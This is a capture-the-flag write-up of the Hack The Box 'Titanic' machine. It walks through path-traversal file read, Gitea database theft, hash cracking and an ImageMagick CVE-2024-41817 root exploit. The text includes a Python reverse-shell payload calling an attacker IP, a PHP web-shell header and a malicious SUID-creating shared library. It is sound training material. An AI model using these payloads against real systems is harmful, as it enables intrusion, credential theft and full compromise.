Titanic - Hack The Box

1. Box Overview
Titanic is an easy-difficulty Linux machine from Hack The Box, featuring an Apache web server on port 80 hosting a Titanic-themed booking site. A secondary virtual host running a Gitea server is discovered through fuzzing. The goal is to exploit an Arbitrary File Read (LFI) vulnerability to retrieve a Gitea database, crack credentials for SSH access, and escalate privileges using a vulnerable ImageMagick version (CVE-2024-41817) in a cron script. This box teaches web enumeration, LFI exploitation, virtual host discovery, and vulnerability research.
- Objective: Gain user access via SSH and escalate to root to capture both flags.
- Skills Developed: Nmap scanning, virtual host enumeration, LFI exploitation, SQLite database analysis, hash cracking, and CVE-2024-41817 exploitation.
- Platform: Hack The Box
2. Resources Used
Here are the key resources that guided my approach:
-
Resource:
Title: Gitea SQLite Database Structure
Usage: Helped understand the Gitea database schema to locate user credentials. -
Resource:
Title: CVE-2024-41817 PoC
Usage: Provided a proof-of-concept exploit for ImageMagick’s arbitrary code execution vulnerability. -
Resource:
Title: Hashcat PBKDF2 Hash Formatter
Usage: Python script to format Gitea’s PBKDF2-SHA256 hashes for Hashcat. -
Resource:
Title: Log Poisoning Templates
Usage: Provided different examples and places to attempt log poisoning.
3. My Approach to Pwning Titanic
Step 1: Initial Recon with Nmap
I started with an Nmap scan to identify open ports and services on the target (10.10.11.55). The scan revealed SSH (port 22) and an Apache web server (port 80) redirecting to titanic.htb
, indicating a Linux host.
Command:
nmap -sV -sC --open -T4 10.10.11.55
Why: The -T4
flag speeds up the scan, -sV
detects service versions, -sC
runs default scripts, and --open
filters for open ports. The scan showed OpenSSH 8.9p1 and Apache 2.4.52, with a redirect to titanic.htb
, suggesting a web-based entry point.

Step 2: Adding Hostname to /etc/hosts
To resolve titanic.htb
, I added it to my /etc/hosts
file.
Command:
echo "10.10.11.55 titanic.htb" | sudo tee -a /etc/hosts
Why: This ensures the browser resolves titanic.htb
to the target IP, allowing access to the web application.

Step 3: Exploring the Titanic Website
Visiting http://titanic.htb
, I found a booking page for Titanic trips. The form accepted user input (name, email, phone, date, cabin) and generated a downloadable JSON file with the submitted data. I tested for Server-Side Template Injection (SSTI) with payloads like {{7*7}}
, but it failed, suggesting no template rendering.
Why: The booking form was a potential attack vector, but the JSON output indicated a possible file-handling vulnerability.


Step 4: Intercepting Traffic with Burp Suite
I used Burp Suite to analyze HTTP requests and responses for the booking process. Submitting the form sent a POST request to /book
, followed by a GET request to /download?ticket=[filename]
, which served the JSON file with user input.
Command:
POST /book HTTP/1.1
Host: titanic.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
[email protected]&phone=33333333333&date=2025-06-20&cabin=Suite
Why: Burp Suite revealed the /download
endpoint used a ticket
parameter to specify the file, hinting at a potential Local File Inclusion (LFI) vulnerability.
Step 5: Exploiting LFI via /download
I tested the /download
endpoint for LFI by requesting /etc/passwd
.
Command:
GET /download?ticket=/../../../etc/passwd HTTP/1.1
Host: titanic.htb
Why: The response returned the contents of /etc/passwd
, confirming an Arbitrary File Read vulnerability. This allowed reading sensitive files on the system.

Step 6: Attempting Log Poisoning
I attempted to escalate LFI to Remote Code Execution (RCE) by poisoning Apache logs via /proc/self/environ
and injecting a command in the User-Agent header. As well as attempting to inject php code into apache2 logs.
Command:
GET /download?ticket=/../../../../../proc/self/environ&cmd=python+-c+'import+socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.208",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' HTTP/1.1
Host: titanic.htb
User-Agent: <?php system($_GET['cmd']); ?>
Why: Log poisoning can sometimes lead to RCE if logs are processed insecurely, but this failed, likely due to restricted access to /var/log/apache2
.
Attempted /proc poisoning

Attempted /apache2 poisoning


Step 7: Fuzzing for Virtual Hosts
I used Gobuster to enumerate virtual hosts, discovering dev.titanic.htb
.
Command:
gobuster vhost -u http://titanic.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -r
Why: Virtual host enumeration can reveal hidden services. The scan found dev.titanic.htb
(status 200), indicating a potential secondary application.

Step 8: Adding dev.titanic.htb to /etc/hosts
I added dev.titanic.htb
to /etc/hosts
to access the virtual host.
Command:
echo "10.10.11.55 dev.titanic.htb" | sudo tee -a /etc/hosts
Why: This allows the browser to resolve dev.titanic.htb
and access the Gitea server.
Step 9: Exploring the Gitea Server
Visiting dev.titanic.htb
revealed a Gitea server. I registered a dummy account to explore repositories, finding flask-app
and docker-config
. The flask-app
repo confirmed the LFI vulnerability in the /download
endpoint, while docker-config
contained a docker-compose.yml
file with a MySQL password (MySQLP@$$w0rd!
) and a Gitea data folder at /home/developer/gitea/data
.
Why: Gitea repositories often contain sensitive configuration data, and the docker-config
repo revealed a potential path to the Gitea database.



Step 10: Attempting LFI on Gitea Data Directory
I tried accessing /home/developer/gitea/data/gitea.db
via LFI, but it returned a 404, likely due to permissions.
Command:
curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea.db'
Why: The Gitea database could contain credentials, but the initial attempt failed, suggesting a deeper path was needed.

Step 11: Replicating Gitea Locally
To understand Gitea’s data structure, I set up a local Gitea instance using Docker.
Command:
version: '3'
services:
gitea:
image: gitea/gitea
container_name: gitea
ports:
- "127.0.0.1:3000:3000"
- "127.0.0.1:2222:22"
volumes:
- /tmp/data:/data
environment:
- USER_UID=1000
- USER_GID=1000
restart: always
docker-compose up
Why: Running Gitea locally revealed the database location at /data/gitea/gitea.db
, suggesting the remote path was /home/developer/gitea/data/gitea/gitea.db
.

Step 12: Downloading the Gitea Database
I used the LFI vulnerability to download the Gitea database.
Command:
curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -o gitea.db
Why: The correct path allowed successful retrieval of the SQLite database containing user credentials.

Step 13: Analyzing the Gitea Database
I opened the database with SQLite and queried the user
table to extract credentials.
Commands:
sqlite3 gitea.db
.tables
select * from user;
Why: The user
table contained hashed credentials, including for the developer
user: sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
.

Step 14: Formatting Hashes for Hashcat
I used a Python script to format the PBKDF2-SHA256 hashes for Hashcat.
Command:
python3 hash_formatter.py
Why: The script from GitHub converted the hash to sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
, suitable for cracking.

Step 15: Cracking the Developer’s Hash
I used Hashcat to crack the developer
user’s hash.
Command:
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt
Why: Hashcat’s -m 10900
mode targets PBKDF2-SHA256. The cracked password was 25282528
, providing SSH access.

Step 16: Gaining User Access via SSH
I logged into the system as developer
via SSH and found the user flag in /home/developer
.
Command:
ssh [email protected]
Why: The cracked password granted SSH access, and the user flag was immediately accessible, completing the first objective.


Step 17: Enumerating for Privilege Escalation
I enumerated the system, checking sudo -l
(no permissions) and exploring /opt
. The /opt/scripts
directory contained identify_images.sh
, which ran magick identify
on .jpg
files in /opt/app/static/assets/images
every minute, writing to metadata.log
.
Command:
cat /opt/scripts/identify_images.sh
Why: The script’s periodic execution and writeable directory (/opt/app/static/assets/images
) suggested a privilege escalation vector.


Step 18: Identifying ImageMagick Vulnerability
I checked the magick
version, revealing ImageMagick 7.1.1-35, vulnerable to CVE-2024-41817.
Command:
magick --version
Why: A GitHub advisory (GHSA-8rxc-922v-phg8) confirmed an arbitrary code execution vulnerability in this version.

Step 19: Exploiting CVE-2024-41817
I crafted a malicious shared library to exploit the vulnerability, leveraging the writeable /opt/app/static/assets/images
directory.
Command:
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include
#include
#include
__attribute__((constructor)) void init() {
system("cp /bin/sh /tmp && chmod u+s /tmp/sh");
exit(0);
}
EOF
Why: The script copied /bin/sh
to /tmp/sh
with SUID permissions. The cron job executed the payload, creating an SUID binary.

Step 20: Gaining Root Access
After the cron job ran, I executed the SUID binary to gain a root shell and retrieved the root flag from /root
.
Command:
/tmp/sh -p
Why: The SUID binary ran with root privileges, allowing access to root.txt
, completing the challenge.


4. Lessons Learned and Tips
Here’s what I took away from Titanic:
- Tip 1: Always enumerate virtual hosts with tools like Gobuster to uncover hidden services like Gitea.
- Tip 2: LFI vulnerabilities can be powerful for reading sensitive files; test all user-controlled file inputs.
- Tip 3: Log poisoning for RCE requires access to log files; verify permissions before attempting.
- Key Lesson: Replicating services like Gitea locally helps understand file structures and identify critical paths for exploitation.
- Future Goals: Improve skills in automating LFI enumeration and exploring advanced privilege escalation techniques like cron job exploitation.
5. Conclusion
Titanic was an engaging challenge that honed my skills in web enumeration, LFI exploitation, and privilege escalation. The LFI vulnerability opened the door to the Gitea database, while the ImageMagick exploit demonstrated the impact of outdated software. This box was a great introduction to combining web and system vulnerabilities to achieve full system compromise.

6. Additional Notes
- The CVE-2024-41817 advisory was critical for crafting the privilege escalation exploit.
- Understanding Gitea’s default database structure was key to locating the SQLite database for credential extraction.